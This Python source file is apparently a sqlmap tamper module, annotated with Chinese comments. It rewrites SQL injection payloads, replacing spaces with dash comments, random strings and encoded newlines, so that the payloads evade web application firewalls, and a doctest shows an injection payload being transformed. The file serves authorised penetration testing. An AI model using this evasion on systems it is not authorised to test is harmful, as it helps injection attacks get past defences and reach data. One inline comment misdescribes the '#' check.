#!/usr/bin/env python

"""
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import random
import string

# 从sqlmap的库中导入兼容模块中的xrange函数和优先级枚举
from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def tamper(payload, **kwargs):
    """
    Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')

    Requirement:
        * MSSQL
        * SQLite

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ZeroNights SQL injection challenge,
          https://proton.onsec.ru/contest/

    >>> random.seed(0)
    >>> tamper('1 AND 9227=9227')
    '1--upgPydUzKpMX%0AAND--RcDKhIr%0A9227=9227'
    """
    
    retVal = ""

    if payload:
        # 遍历payload中的每个字符
        for i in xrange(len(payload)):
            # 如果当前字符是空格
            if payload[i].isspace():    
                # 生成一个随机字符串
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in xrange(random.randint(6, 12)))
                # 将随机字符串和换行符添加到retVal中
                retVal += "--%s%%0A" % randomStr

            # 如果当前字符是#或者#后面跟着两个空格
            # 如果payload[i]等于#或者payload[i:i + 3]等于--
            elif payload[i] == '#' or payload[i:i + 3] == '-- ':
                # 将payload[i:]添加到retVal中
                retVal += payload[i:]
                # 跳出循环
                break
            # 否则，将payload[i]添加到retVal中
            else:
                retVal += payload[i]

    # 返回retVal
    return retVal
